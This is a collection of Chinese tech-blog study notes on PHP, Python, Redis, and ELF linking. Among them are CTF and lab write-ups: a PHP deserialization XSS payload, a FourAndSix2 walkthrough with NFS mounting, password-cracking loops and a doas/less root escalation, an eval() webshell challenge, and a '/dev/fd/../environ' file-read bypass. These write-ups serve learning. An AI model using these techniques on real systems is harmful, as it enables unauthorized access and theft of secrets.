布尔值也会被转换成整型。即键名 true 实际会被储存为 1 而键名 false 会被储存为 0。
Null 会被转换为空字符串，即键名 null 实际会被储存为 “”。
数组和对象不能被用为键名。坚持这么做会导致警告：Illegal offset type。

比如官方举例如下：

<?php

$array = array(
  1    => "a",
  "1"  => "b",
  1.5  => "c",
  true => "d",
);
var_dump($array);

输出如下：

array(1) {
  [1] =>
  string(1) "d"
}

会导致数组的一部分值被覆盖掉

上例中所有的键名都被强制转换为 1，则每一个新单元都会覆盖前一个的值，最后剩下的只有一个 “d”。

同时：

key 为可选项。如果未指定，PHP 将自动使用之前用过的最大 integer 键名加上 1 作为新的键名。

那就会有这种结果：

$array = array(
  "a",
  "b",
6 => "c",
  "d",
);
var_dump($array);

输出为：

array(4) {
  [0] =>
  string(1) "a"
  [1] =>
  string(1) "b"
  [6] =>
  string(1) "c"
  [7] =>
  string(1) "d"
}

神奇的解引用语法

<?php

function getArray(){
  return array(1,2,3,4);
}

//解引用语法

$a = getArray()[0];
var_dump($a);
list(, $secondelement) = getArray();

var_dump($secondelement);

输出为：

int(1)
int(2)

list定义为：将数组中的值赋值给变量

用[]的语法

如果有一个数组 $arr = array(5 => 1, 12 => 2);
那么$arr[] = 56相当于$arr[13]=56

使用unset函数可以取消键值对映射比如unset($arr[5]),或者销毁一个数组unset($arr)

php反序列化笔记

Tue, 30 Jul 2019 00:00:00 GMT

php 反序列化

先看一个栗子：

<?php

class Test{
    public $name = "pxy";
    private $sex = "secret";
    protected $age = "20";
}
$test1 = new Test();
$object = serialize($test1);
print_r($object);

序列化之后得到的结果是：
O:4:"Test":3:{s:4:"name";s:3:"pxy";s:9:"Testsex";s:6:"secret";s:6:"*age";s:2:"20";}

O代表是对象，Test是类名，之后是属性，不同类型的属性其实序列化之后得到的结果是不一样的。

看官方文档，解释了为什么需要序列化这种操作：

serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。
这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。

同时提到了一个魔术方法：

当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用 unserialize() 恢复对象时，将调用 wakeup() 成员函数。

__sleep()和__wakeup()两个方法很形象地说明了什么时候调用。

然后我就犯了一个新手很常见的错误：
__sleep()方法必须是要返回一个array地

原来。。__sleep()方法是这样子调用的啊

<?php
class Test{
    public $name = "pxy";
    private $sex = "secret";
    protected $age = "20";
    function __sleep(){
        return array('name', 'sex', 'age');
    }
}

实际追踪一下为什么会出现反序列化

调试代码如下:

<?php
class test{
    public $target = "this is a test";
    function __destruct(){
        echo $this->target;
    }
}

$a = $_GET['b'];
$c = unserialize($a);

利用思路：传入的参数是可控的，并且这里还有一个test类和一个__destruct()魔术方法。
那就是构造这个对象将其序列化之后传入，之后会自动反序列化同时在对象销毁的时候就会自动执行魔术方法了

我们这样来写：

<?
class test{
    public $target = "<script>alert('xss');</script>";
}

$object = new test();
print_r(serialize($object));

突然觉得序列化也有一点变量覆盖的味道，我在外部构造的类实例化的对象进入代码之后覆盖了原来的对象？

调试过程如下：

生成的序列化字符串如下：
O:4:"test":1:{s:6:"target";s:30:"<script>alert('xss');</script>";}
然后将其作为参数传入进去:

http://localhost/test/testUnserialize0.php?b=O:4:%22test%22:1:{s:6:%22target%22;s:30:%22%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%22;}

此时接收到了参数：

$a的值为：”O:4:”test”:1:{s:6:”target”;s:30:”\alert(‘xss’);\</script>“;}”

继续单步步入：
这个时候就会去调用魔术方法了

xss框框就弹出来啦。

接下来继续研究剩下的魔术方法：先看几个简单的

<?php
class test{

    public $name = 'P2hm1n';

    function __construct(){

        echo "__construct()\n";

    }

    function __destruct(){

        echo "__destruct()\n";

    }

    function __wakeup(){

        echo "__wakeup()\n";

    }

    function __toString(){

        return "__toString()"."\n";

    }

    function __sleep(){

        echo "__sleep()\n";

        return array("name");

    }
    function __call($funName, $argument){
        echo "调用方法".$funName."(:"."参数:";
        print_r($argument);
        echo "不存在！\n";
    }
    public static function __callStatic($funName, $argument){
        echo "调用静态方法".$funName."(:"."参数:";
        print_r($argument);
        echo "不存在！\n";        
    }

}

$test1 = new test();
test::hello("nihao"); //不实例化对象，此时调用的是静态方法
$test1->hello("nihao"); //实例化对象
$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

输出的结果如下：

调用静态方法hello(:参数:Array
(
    [0] => nihao
)
不存在！
调用方法hello(:参数:Array
(
    [0] => nihao
)
不存在！
__sleep()
__wakeup()
__toString()
__destruct()
__destruct()

这几个方法都还挺好区分的，比较难区分的就是__call()和__callStatic()方法了。

TODO
十六个魔术方法详解

python文档阅读笔记2

Tue, 30 Jul 2019 00:00:00 GMT

fluent python reading notes

列表推导式

最常见的一种写法

symboles = 'ABC%^&*#@$'
beyond_ascii = [ord(s) for s in symboles if ord(s) > 40]
print(beyond_ascii)

但是也可以同时用filter和map函数来实现

beyond_ascii = list(filter(lambda x: x > 40, map(ord, symboles)))
print(beyond_ascii)

map函数将一个函数作用于list中的每一个值上，filter也是对数组中的每一个值作用一个函数，但是只返回为真的数值，python3中最后返回的是一个filter对象

比如过滤列表中的所有奇数

# 过滤出列表中的所有奇数
a = [1,242,45,23,536,1,325,63635,56335]
a_is_odd = list(filter(lambda x: x % 2 != 0, a))
print(a_is_odd)

再比如过滤出1~100中平方根是整数的数字
所谓整数就是能整除1的数字

#过滤出1~100中平方根是整数的数

g_is = list(filter(lambda x: math.sqrt(x) % 1 == 0, range(1, 101)))
print(g_is)

解包

如下是一个比较神奇的栗子，

# python解包
colors = ['black', 'white']
sizes = ['S', 'M', 'L']
for tshirt in ('%s %s' % (c, s) for c in colors
                                for s in sizes):
    print(tshirt)

这里用一个%将元组进行了拆包
如何很好地理解列表推导式呢？

你可以将其想象为一个函数，for c in colors for s in sizes 返回值是(c, s) 用一个%成功地对其进行了拆包转化为字符串形式

下面这幅图应该比较好理解

然后就有了返回值

当然还有这种写法：

a, b, *rst = range(5)

陷阱

t = (1,2, [30, 40])
t[2] += [50, 60]
print(t)

在一个不可变对象中插入了可变对象！

虽然报错但是t的值确实被修改了

对其进行反汇编或者是反编译：
得到：

3           0 LOAD_CONST               1 (1)
              3 LOAD_CONST               2 (2)
              6 LOAD_CONST               3 (30)
              9 LOAD_CONST               4 (40)
             12 BUILD_LIST               2
             15 BUILD_TUPLE              3
             18 STORE_FAST               0 (t)

  4          21 LOAD_FAST                0 (t)
             24 LOAD_CONST               2 (2)
             27 DUP_TOP_TWO
             28 BINARY_SUBSCR
             29 LOAD_CONST               5 (50)
             32 LOAD_CONST               6 (60)
             35 BUILD_LIST               2
             38 INPLACE_ADD
             39 ROT_THREE
             40 STORE_SUBSCR

作者提出的三个教训：

不要把可变对象放在元组里面
增量赋值不是一个原子操作
查看python的字节码并不难，而且了解代码背后的运行机制很有帮助

然后我们就来研究python的字节码

python字节码

变量

LOAD_FAST一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等。
STORE_FAST一般用于保存值到局部变量。

比如：

61          77 LOAD_FAST                0 (n)
             80 LOAD_FAST                3 (p)
             83 INPLACE_DIVIDE
             84 STORE_FAST               0 (n)

INPLACE_DIVIDE就是原地除法，先加载n，然后加载p，然后除法，然后保存结果

对应的就是

n = n/p

如何区分函数形参和其他的局部变量？

形参没有初始化，也就是从函数开始到LOAD_FAST该变量的位置，如果没有看到STORE_FAST，那么该变量就是函数形参。

4           0 LOAD_CONST               1 (0)
            3 STORE_FAST               1 (local1)

5           6 LOAD_FAST                1 (local1)
            9 PRINT_ITEM
           10 LOAD_FAST                0 (arg1)
           13 PRINT_ITEM
           14 PRINT_NEWLINE
           15 LOAD_CONST               0 (None)
           18 RETURN_VALUE

这里arg1就没有STORE_FAST
所以对应的源代码为：

def test(arg1):
    local1 = 0
    print local1, arg1

全局变量

LOAD_GLOBAL用来加载全局变量，包括指定函数名，类名，模块名等全局符号。

8           6 LOAD_CONST               2 (101)
            9 STORE_GLOBAL             0 (global1)
            20 LOAD_GLOBAL              0 (global1)
            23 PRINT_ITEM

对应的python代码：

def test():
    global global1
    global1 = 101
    print global1

常用数据类型

BUILD_LIST用于创建一个list结构。

如果是用列表推导式呢？

BUILD_MAP用于创建一个空的dict。STORE_MAP用于初始化dict的内容。

3           0 LOAD_CONST               1 ('a')
              3 LOAD_CONST               2 ('1')
              6 BUILD_MAP                1
              9 STORE_FAST               0 (k)
             12 LOAD_CONST               0 (None)
             15 RETURN_VALUE

参考

死磕python字节码-手工还原python源码

redis源码阅读——dict

Tue, 30 Jul 2019 00:00:00 GMT

dict类型

先看宏定义

最基本的是dict类型，如下：

typedef struct dict {
    dictType *type;
    void *privdata;
    dictht ht[2];
    PORT_LONG rehashidx; /* rehashing not in progress if rehashidx == -1 */
    int iterators; /* number of iterators currently running */
} dict;

dictType 是一个结构体，包含了dict的一些基础方法
privdata 是私有数据
dictht 是哈希表
rehashidx 代表是否在进行重哈希，如果不为-1则代表正在进行重哈希
iterators 代表迭代器，暂时还不太理解

接下来看哈希表的结构(dictht):

typedef struct dictht {
    dictEntry **table;
    PORT_ULONG size;
    PORT_ULONG sizemask;
    PORT_ULONG used;
} dictht;

table是一个指向dictEntry的二级指针
size代表哈希表的大小
sizemask 总是等于size-1
used代表该哈希表已有的节点数量

这是dictht的构造：

不过这里为什么要二级指针呢？

可以这样理解，因为dictEntry *本身就是一个一级指针，同时table指向的又是一个指针数组，所以这里需要二级指针了

复习一下数组指针和指针数组的概念

数组指针，本质上还是指针

int (*p)[n]
()运算优先级更高，*优先与p结合，p还是一个指针，不过p指向的是一个数组，这时候p+1运算的步长就是n,故这样的指针也叫行指针

指针数组
int *p[n]
[]优先级更高，p先与方括号结合，这时候p代表的是一个数组，这个数组中每个元素都是一个指针，故此时p就是二级指针

之后继续看dictEntry类型

typedef struct dictEntry {
    void *key;
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
        double d;
    } v;
    struct dictEntry *next;
} dictEntry;

这里面存储了key-value键值对，其中key是一个void*类型的指针，可以代表任意类型的数据，但是value是一个联合体，可以在指针，整数和浮点数中取值

next属性是指向另一个哈希表节点的指针，这个指针可以将多个哈希值相同的键值对连接在一次，以此来解决键冲突（collision）的问题

参考

字典的实现
 Redis内部数据结构详解(1)——dict
数组指针和指针数组的区别

redis源码阅读——sds

Tue, 30 Jul 2019 00:00:00 GMT

从redis源码开始

都说写代码是在表达自己，阅读代码是在理解别人，尤其是阅读高质量的源代码，于是便从头开始读起了redis的源码

靶机渗透

Tue, 30 Jul 2019 00:00:00 GMT

fourandsix2靶机

一开机就可以看到IP地址位192.168.41.132

然后nmap开始扫描
nmap -A -n -v -Pn -A 192.168.41.132
-A Enable OS detection, version detection, script scanning, and traceroute
-n -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
-Pn Treat all hosts as online — skip host discovery

扫描的报告：

Nmap scan report for 192.168.41.132
Host is up (0.00059s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 ef:3b:2e:cf:40:19:9e:bb:23:1e:aa:24:a1:09:4e:d1 (RSA)
|   256 c8:5c:8b:0b:e1:64:0c:75:c3:63:d7:b3:80:c9:2f:d2 (ECDSA)
|_  256 61:bc:45:9a:ba:a5:47:20:60:13:25:19:b0:47:cb:ad (ED25519)
111/tcp  open  rpcbind 2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          780/udp  mountd
|_  100005  1,3          917/tcp  mountd
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 00:0C:29:81:23:53 (VMware)
Device type: general purpose
Running: OpenBSD 6.X
OS CPE: cpe:/o:openbsd:openbsd:6
OS details: OpenBSD 6.0 - 6.1
Uptime guess: 0.000 days (since Sat Jul 20 02:04:15 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Randomized

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.41.132

难得一次nmap可以扫出这么多信息
看到靶机开放了2049号端口，是nfs服务，那么尝试扫描可以挂载的目录

-sV : Probe open ports to determine service/version info

nmap -sV --script=nfs-showmount 192.168.41.132
扫描可以挂载的目录

结果：

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9 (protocol 2.0)
111/tcp  open  rpcbind 2 (RPC #100000)
| nfs-showmount:
|_  /home/user/storage
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          780/udp  mountd
|_  100005  1,3          917/tcp  mountd
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 00:0C:29:81:23:53 (VMware)

很好，那就可以挂载目录了

root@kali:~# nfspysh -o server=192.168.41.132:/home/user/storage /tmp/test/
nfspy@192.168.41.132:/home/user/storage:/>

nfspysh的用法：

root@kali:~# nfspysh -h
Usage: nfspysh [options]

Options:
  -h, --help  show this help message and exit
  -l          List mount options available
  -o OPTIONS  Mount options as in nfspy
  -c COMMAND  Semicolon-separated commands to run (batch mode)

目录下有一个压缩包
get backup.7z
然后尝试用7z去解压缩，但是有密码

于是用john去破解

然而爆破有点慢

不过密码就是chocolate

ps.kali里面其实有很多字典的，比如/usr/share/john/password.lst

解压缩之后得到的是一个公钥和私钥

通过下面这段脚本爆破出密码是12345678

root@kali:/tmp# cat /usr/share/john/password.lst | while read pass; do if ssh-keygen -c -C "user@192.168.41.132" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done
12345678

然后就可以登陆了
ssh -i id_rsa user@192.168.41.132

之前一直尝试没登陆成功，因为我忘记赋权了
也就是
chmod 600 id_rsa

然后就可以登陆了：

root@kali:/tmp# ssh -i id_rsa user@192.168.41.132
Enter passphrase for key 'id_rsa':
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

fourandsix2$

如下是错误的做法：

root@kali:/tmp# ssh -i id_rsa user@192.168.41.132
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.

登陆之后

没办法直接访问root文件夹

fourandsix2$ ls /root/
ls: /root/: Permission denied

接下来这波操作很不明白

输入
doas /usr/bin/less /var/log/authlog
然后按v进入编辑模式
之后输入:!/bin/sh

于是就提权了

fourandsix2# whoami
root

成功了

fourandsix2# cat /root/flag.txt                                                                                                                                             
Nice you hacked all the passwords!

Not all tools worked well. But with some command magic...:
cat /usr/share/wordlists/rockyou.txt|while read line; do 7z e backup.7z -p"$line" -oout; if grep -iRl SSH; then echo $line; break;fi;done

cat /usr/share/wordlists/rockyou.txt|while read line; do if ssh-keygen -p -P "$line" -N password -f id_rsa; then echo $line; break;fi;done

Here is the flag:
acd043bc3103ed3dd02eee99d5b0ff42

补充提权的过程：
在/etc/doas.conf文件中有这些内容
所以可以用doas命令查看authlod文件
同时，通过编辑它，进入了shell

参考

FourAndSix2.01靶机渗透

python文档阅读笔记1

Wed, 24 Jul 2019 00:00:00 GMT

python 官方文档阅读

python可视化编程网站

循环

循环的问题

list类型是可变序列

words = ['cat', 'window', 'defenestrate']
for w in words[:]:
    if len(w) > 6:
        words.insert(0, w)
print(words)

如果将上述代码的循环语句改为：
for w in words:
那么这个循环就变成了死循环
原因是words这个list会被修改

同样的可以看这个：

basket = ['apple', 'orange', 'pear', 'orange', 'banana']
for f in sorted(basket):
    print(f)

print(basket)

在经过sorted函数之后，basket已经被修改了

可以看这个：

同样的list还有这样一个问题：

代码如下：

def f(a, L=[]):
    L.append(a)
    return L

print(f(1))
print(f(2))
print(f(3))

修改成这样就行：

def f(a, L = None):
    if L is None:
        L = []
    L.append(a)
    return L

循环的tricks

dict循环

knights = {'gallahad':'the pure', 'robin':'the brave'}
for key, value in knights.items():
    print(key, value)

list循环

for index, value in enumerate(['tac', 'tic', 'toe']):
    print("index = {}, value = {}".format(index, value))

两个list循环

questions = ['name', 'quest', 'favorite color']
answers = ['lancelot', 'the holy grail', 'blue']

for q,a in zip(questions, answers):
    print("what is your {}? It is {}".format(q, a))

逆向循环

# 逆向循环序列时，先正向，再调用reverse()函数
for i in reversed(range(1, 10, 2)):
    print(i)

指定顺序循环，用sorted函数

参数的传递

之前还一直没明白python中**param这种传递形式的用法
这个栗子就很棒啦

def cheeseshop(kind, *arguments, **keywords):
    print("-- Do you have any", kind, "?")
    print("-- I'm sorry, we're all out of", kind)
    for arg in arguments:
        print(arg)
    print("-" * 40)
    for kw in keywords:
        print(kw, ":", keywords[kw])
cheeseshop("Limburger", "It's very runny, sir.",
           "It's really very, VERY runny, sir.",shopkeeper="Michael Palin",
           client="John Cleese",
           sketch="Cheese Shop Sketch")

结果如下：

-- Do you have any Limburger ?
-- I'm sorry, we're all out of Limburger
It's very runny, sir.
It's really very, VERY runny, sir.
----------------------------------------
shopkeeper : Michael Palin
sketch : Cheese Shop Sketch
client : John Cleese

第一个kind参数就是第一个字符串，之后arguments相当于一个接收了一个list，keywords接收了一个dict

解包参数列表

比如这个栗子：

args = [3,6]
list(range(*args))

输出的结果就是
[3,4,5]

也就是说我们可以通过*运算符来对一个list进行解包并将其作为参数传递

匿名函数lambda

pairs = [(1, 'one'), (2, 'two'), (3, 'three'), (4, 'four')]
pairs.sort(key=lambda  pair:pair[1])

sort方法有两个参数，一个是指定待排序的关键字，一个是reversed，其中key用一个匿名函数进行指定，有一点函数式编程的味道

聊聊plt与got

Wed, 24 Jul 2019 00:00:00 GMT

深入理解plt和got

先写一段代码：

// Build with: gcc -m32 --no-pie -g -o plt plt.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  puts("Hello world!");
  exit(0);
}

途中遇到了一个报错：

In file included from /usr/include/stdio.h:27:0,
                 from plt.c:3:
/usr/include/features.h:374:25: fatal error: sys/cdefs.h: No such file or directory
 #  include <sys/cdefs.h>

然后安装一个:
apt install libc6-dev-i386

编译好程序之后

$ checksec plt     
[*] '/home/pxy/pwnable/plt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序是没有pie的

readelf -S plt查看节表

[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
[12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
[13] .text             PROGBITS        08048350 000350 000192 00  AX  0   0 16
[22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
[23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4

可以看到：

.plt 基地址为： 0x08048300
.got 基地址为： 0x08049ffc
.got.plt 基地址为： 0x0x804a000

我们从调用puts函数那里开始单步执行

首先跳转到plt表中

0x804845d <main+16>               call   puts@plt <0x8048310>
0x8048310  <puts@plt>                  jmp    dword ptr [puts@got.plt] <0x804a00c>

call puts之后，下一条指令也是一个跳转

jmp dword ptr [puts@got.plt] <0x804a00c>
这条指令的意思是取出puts@got.plt表中的值，放到pc寄存器中

所以？查看一下此处内存的值：

pwndbg> x/2x 0x804a00c
0x804a00c <puts@got.plt>:	0x08048316	0x08048326

所以下一条指令的地址就是0x08048316还是在plt表中

► 0x8048316  <puts@plt+6>                push   0
  0x804831b  <puts@plt+11>               jmp    0x8048300

这里先将0放到栈上，表明是要解析puts函数的地址，然后再跳转到0x8048300也就是plt表的开始部分

► 0x8048300                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
  0x8048306                              jmp    dword ptr [0x804a008] <0xf7ff0650>

这时候先把.got.plt表中的第二项放到栈上
先查看一下.got.plt中前三项的内容:

pwndbg> x/3x 0x804a000
0x804a000:	0x08049f14	0xf7ffd938	0xf7ff0650

将0xf7ffd938放置到栈上，然后跳转到.got.plt中的第三项，也就是
0xf7ff0650，这个地址就是_dl_runtime_resolve函数的地址
负责解析函数的地址

此时我们的got表内容如下：

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] puts -> 0x8048316 (puts@plt+6) ◂— push   0 /* 'h' */
[0x804a010] __gmon_start__ -> 0x8048326 (__gmon_start__@plt+6) ◂— push   8
[0x804a014] exit -> 0x8048336 (exit@plt+6) ◂— push   0x10
[0x804a018] __libc_start_main -> 0xf7e26a00 (__libc_start_main) ◂— push   ebp

puts函数的地址还没有重定位

当我们执行过一遍puts函数之后
这时候回过头来继续查看got表中的内容：

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] puts -> 0xf7e727e0 (puts) ◂— push   ebp
[0x804a010] __gmon_start__ -> 0x8048326 (__gmon_start__@plt+6) ◂— push   8
[0x804a014] exit -> 0x8048336 (exit@plt+6) ◂— push   0x10
[0x804a018] __libc_start_main -> 0xf7e26a00 (__libc_start_main) ◂— push   ebp

可以看到地址已经重定位好了

这和Windows的PE文件格式似乎有点不同了，PE文件是装载进内存之后函数地址都已经重定位好了，而Linux的elf文件刚刚装进内存之后函数的地址还是不确定的，需要在运行的时候进行重定位。

当我们将代码修改为如下时：

pwndbg> l 1, 20
// Build with: gcc -m32 -no-pie -g -o plt plt.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  puts("Hello world!");
  puts("hello world again !!!");
  exit(0);
}

第一次调用puts函数之后：
[0x804a00c] puts -> 0xf7e727e0 (puts) ◂— push ebp

puts函数地址已经重定位好了

接下来再次调用puts函数

► 0x8048310  <puts@plt>    jmp    dword ptr [0x804a00c] <0xf7e727e0>
   ↓
  0xf7e727e0 <puts>        push   ebp
  0xf7e727e1 <puts+1>      push   edi
  0xf7e727e2 <puts+2>      push   esi
  0xf7e727e3 <puts+3>      push   ebx

此时可以看到直接就跳到函数的地址了
因为此时的.got.plt已经是puts函数的地址了， Linux tql

整理一下

之前看参考资料中博主的文章一直没有很理解，这里直接统一说一下我的理解：

何谓PLT与GOT

其实这里准确的来说应该叫got.plt而不是叫got，不过为了方便我们还是叫它got表吧

要注意那个jmp *printf@got *号是取出地址处的值，并不是跳到got表中去

延迟重定位

这篇文章我觉得写的很精彩

Linux为了缩减代码,就是按照这种模式来的：

void printf@plt()
{
address_good:
    jmp *printf@got            // 链接器将printf@got填成下一语句lookup_printf的地址

lookup_printf:
        调用重定位函数查找printf地址，并写到printf@got

        goto address_good;
}

也就和上面那张图是一一对应的

公共got表项

在解析函数的真正地址时， _dl_runtime_resolve是怎么知道它要解析哪个函数的

因为：

printf@plt>:
   jmp *0x80496f8
   push $0x00
   jmp common@plt

这里push的值不一样，相当于就是每个函数取了一个id

之后就是公共got表的内容：

got[0]: 本ELF动态段(.dynamic段）的装载地址
got[1]：本ELF的link_map数据结构描述符地址
got[2]：_dl_runtime_resolve函数的地址

穿针引线

PLT表中的第一项为公共表项，剩下的是每个动态库函数为一项（当然每项是由多条指令组成的，jmp *0xXXXXXXXX这条指令是所有plt的开始指令）每项PLT都从对应的GOT表项中读取目标函数地址

GOT表中前3个为特殊项，分别用于保存 .dynamic段地址、本镜像的link_map数据结构地址和_dl_runtime_resolve函数地址；但在编译时，无法获取知道link_map地址和_dl_runtime_resolve函数地址，所以编译时填零地址，进程启动时由动态链接器进行填充

参考

聊聊Linux动态链接中的PLT和GOT（１）——何谓PLT与GOT
聊聊Linux动态链接中的PLT和GOT（２）——延迟重定位
 聊聊Linux动态链接中的PLT和GOT（３）——公共GOT表项
 聊聊Linux动态链接中的PLT和GOT（4）—— 穿针引线
 GOT and PLT for pwning.

php-challenge9

Mon, 22 Jul 2019 00:00:00 GMT

php-challenge 9

第一次接触到这个题目，被惊呆了

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
   public $mdzz;
   function __construct()
   {
	   $this->mdzz = 'phpinfo();';
   }
   function __destruct()
   {
	   eval($this->mdzz);
   }
}
if(isset($_GET['phpinfo']))
{
   $m = new OowoO();
}
else
{
   highlight_string(file_get_contents('index.php'));
}
?>

初看源代码觉得并没有哪里可以让我反序列化注入的地方
但是问题就出在第一句话：
ini_set('session.serialize_handler', 'php');

关键点在于，如果脚本中设置的序列化处理器与php.ini设置的不同，或者两个脚本注册session使用的序列化处理器不同，那么就会出现安全问题。

只需要加一个|就行

这道jarvisOj题目就是这个原题
这里还用到了另外一个漏洞：

自己构造一个网页如下：

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后在上传一个文件，本地抓包，这里遇到了一点小问题，就是没办法抓到本地的包，可以通过直接对局域网的网络连接进行设置即可.

此时就可以看到了

接下来继续利用

tql。。。
有趣的php反序列化总结
 szfszf
jarvisoj-web-writeup

探寻数据库

Mon, 22 Jul 2019 00:00:00 GMT

mysql命令行操作小结

感觉这些知识又快忘记了

登陆 mysql -u root -p
创建数据库 create database databasename
删除数据库 drop database databasename
从外部sql文件导入，如果sql文件中没有创建数据库需要先指定一个数据库然后source path/*.sql就可以导入了，再也不用受烦人的phpmyadmin影响了
删除数据表drop table table_name
导出表mysqldump -u root -p RUNOOB runoob_tbl > dump.txt
导出数据库mysqldump -u root -p RUNOOB > database_dump.txt
备份所有数据库mysqldump -u root -p --all-databases > database_dump.txt

一般sql文件的写法：

drop database if exists DBName;
creat database DBName;
use DBName;

#开始创建表
create ......

#开始插入数据
insert....

使用`pymysql`连接数据库


con = pymysql.connect('localhost', 'root', '', 'mpsa')
try:
    with con.cursor() as cursor:
        sql = 'drop database runoob'
        cursor.execute(sql)

    con.commit()

finally:
    con.close()

那个cursor函数我也不是很明白为什么，不过一般的用法就是这样啦

php连接数据库

使用php连接数据库,创建数据库，然后删除

$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(!$conn){
    die("error!!");
}
echo "连接成功";
//查询数据
$sql = "create database runoob";
$retval = mysqli_query($conn, $sql);
if(!$retval){
    die("查询数据失败！");
}
echo "创建成功";
$sql1 = "drop database runoob";
$retval = mysqli_query($conn, $sql);
mysqli_close($conn);

遇到了问题：

查了一下stackoverflow
看到了这个回答：

The mysqli->connect_error property only works properly as of PHP versions 5.2.9 and 5.3.0. Use the mysqli_connect_error() function if compatibility with earlier PHP versions is required.

$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/*
 * This is the "official" OO way to do it,
 * BUT $connect_error was broken until PHP 5.2.9 and 5.3.0.
 */
if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') '
            . $mysqli->connect_error);
}

/*
 * Use this instead of $connect_error if you need to ensure
 * compatibility with PHP versions prior to 5.2.9 and 5.3.0.
 */
if (mysqli_connect_error()) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

原来是建立过程中的不稳定，怪不得我新建的数据库没有被删掉.

参考

stackoverflow的回答
 pymysql文档，写的很简单

Google ctf2017

Sun, 21 Jul 2019 00:00:00 GMT

有时候看看国外的ctf比赛的wp还是挺好的

Mindreder

可以通过f参数直接读取到想读的文件

那么如何确定flag的位置？

既然可以读文件，那么第一步的想法就是读源码

确定后端是flask

源码：

from flask import Flask, request, abort




assert os.environ['FLAG']

app = Flask(__name__)

INDEX = open('index.html').read()

HALL_OF_SHAME = [
    '173.171.203.59',
    '2a02:6b8:b010:6026:84:201:185:197',
    '35.185.158.159',
    '81.17.25.8'
]

@app.route('/')
def index():
    for ip in request.headers.get('X-Forwarded-For', '').split(','):
        ip = ip.strip().lower()
        if ip in HALL_OF_SHAME:
            abort(403)

    if 'f' in request.args:
        try:
            f = request.args['f']
            if re.search(r'proc|random|zero|stdout|stderr', f):
                abort(403)
            elif '\x00' in f:
                abort(404)
            return open(f).read(4096)
        except IOError:
            abort(404)
    else:
        return INDEX

看到flag是藏在环境变量里面的，而环境变量就在/proc/environ中

那就直接去读呗

但是限制了：

if 'f' in request.args:
     try:
         f = request.args['f']
         if re.search(r'proc|random|zero|stdout|stderr', f):
             abort(403)
         elif '\x00' in f:

Linux中有一个叫做symlink method
也就是相当于一个快捷方式，但是却不同于Windows中的shortcut
而正好：/dev/fd这个指向了/proc/self/fd这样payload就不难理解了：
/dev/fd/../environ
访问/dev/fd就相当于访问了/proc/self之后回退一次就可以找到environ这个文件了

Linux中 /dev/fd/0运行效果是这样的，相当于你输入啥它就会回答啥

 ✘ pxy@LAPTOP-UBIEP4K5  ~  sudo cat /dev/fd/0
a
a
pxy
pxy

接下来了解一下ln命令

软链接：英文symbolic link非常类似于Windows中的快捷方式
硬链接：英文hard link这类文件会拥有自己的inode节点和名称，其inode会指向文件内容所在的数据块emmm后面不是很懂了

建立软链接的方式：
ln -s 源文件名称软链接文件名称
目录和文件均可

现在当前目录下创建一个指向/proc/sys的链接

然后我们就可以通过目录遍历来进入到其他的目录了。

软链接还会存在这个问题：

